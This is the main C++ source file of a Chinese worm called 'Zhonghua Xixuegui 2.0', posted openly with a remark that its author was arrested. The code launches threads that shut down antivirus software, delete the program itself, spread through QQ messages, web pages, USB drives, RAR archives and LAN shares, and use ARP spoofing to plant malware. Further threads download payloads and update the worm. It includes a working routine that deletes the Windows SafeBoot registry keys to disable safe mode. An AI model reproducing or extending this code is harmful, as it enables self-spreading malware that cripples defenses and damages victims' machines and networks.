copyme.cpp

一个中华吸血鬼代码作者已经被抓此代码为最后一个版本功能比较全

/* 
搭积木的代码 ,很龌龊,很猥琐

  公布公布 gt
*/

#include "head.h"
#include "delme.h"
#include "closesafepro.h"
#include "closesafe.h"
#include "qqweiba.h"
#include "injectwebfile.h"
#include "infecktionU.h"
#include "arpguama.h"
#include "ipc.h"
#include "download.h"
#include "tongji.h"
#include "bindrar.h"
#include "update.h"
#include "mianyi.h"
//#include "closeproces.h"
//--------------------------------------------------------------------------------
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
//--------------------------------------------------------------------------------
void ProhibitionSafeBoot() ;

//--------------------------------------------------------------------------------

//--------------------------------------------------------------------------------
int main()
{


//--------------------------------------------------------------------------------
	//这代码是防止程序重复运行//
	HANDLE hMutex=::CreateMutex(NULL,TRUE,"中华吸血鬼2.0");
	if (GetLastError()==ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return FALSE;
	}
	
//---------------------------------------------------------------------------------


CreateThread(NULL,NULL,closesafepro,NULL,NULL,NULL);  //创建关闭杀毒软件进程的线程
Sleep(500);
CreateThread(NULL,NULL,delme,NULL,NULL,NULL);	  //自删除的线程
Sleep(2000);
CreateThread(NULL,NULL,closesafe,NULL,NULL,NULL);	  //通过窗体关闭杀毒软件的线程
Sleep(500);
CreateThread(NULL,NULL,qqweiba,NULL,NULL,NULL);		  //创建QQ尾巴传播的线程
Sleep(500);
CreateThread(NULL,NULL,WebWormProc,NULL,NULL,NULL);	  //创建感染网页的线程
Sleep(500);
CreateThread(NULL,NULL,infecktionU,NULL,NULL,NULL);	  //创建完美感染U盘的线程
Sleep(500);
CreateThread(NULL,NULL,arpguama,NULL,NULL,NULL);	  //ARP挂马的线程
Sleep(500);
CreateThread(NULL,NULL,IPC,NULL,NULL,NULL);		  //内网传播的线程
Sleep(500);
CreateThread(NULL,NULL,bindrar,NULL,NULL,NULL);	  //感染压缩文件的线程
Sleep(500);
CreateThread(NULL,NULL,download,NULL,NULL,NULL);      //文件下载线程
Sleep(5000);
CreateThread(NULL,NULL,updateme,NULL,NULL,NULL);      //自身更新线程
Sleep(500);
CreateThread(NULL,NULL,mianyi,NULL,NULL,NULL);      //免疫杀毒软件的线程
Sleep(500);
CreateThread(NULL,NULL,tongji,NULL,NULL,NULL);  											//统计函数
//-------------------------
//创建一个死循环,不然主线程退出
while (1)
{
	Sleep(50000);
	ProhibitionSafeBoot();  //禁用安全模式

}
//---------------------
}
//--------------------------------------------------------------------------------

void ProhibitionSafeBoot()  //禁用安全模式
{
int nId = 0 ;
HKEY hkey;			 
LONG ret;	
char buffer[_MAX_PATH] ;
memset(buffer,0,_MAX_PATH);
if (( ret = RegCreateKey( HKEY_LOCAL_MACHINE, 
"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network",&hkey ) ) 
== ERROR_SUCCESS )  
{   
while((ret=RegEnumKey(hkey,nId,buffer,_MAX_PATH ))==0)
{
RegDeleteKey(hkey,buffer);  
nId++;
}
}

if ( (ret = RegCreateKey(HKEY_LOCAL_MACHINE, 
"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal",&hkey)) == ERROR_SUCCESS )  
{
nId=0;
memset(buffer,0,_MAX_PATH);
while((ret=RegEnumKey(hkey,nId,buffer,_MAX_PATH))==0)
{
RegDeleteKey(hkey, buffer);
nId++;
}
}
RegCloseKey(hkey);
}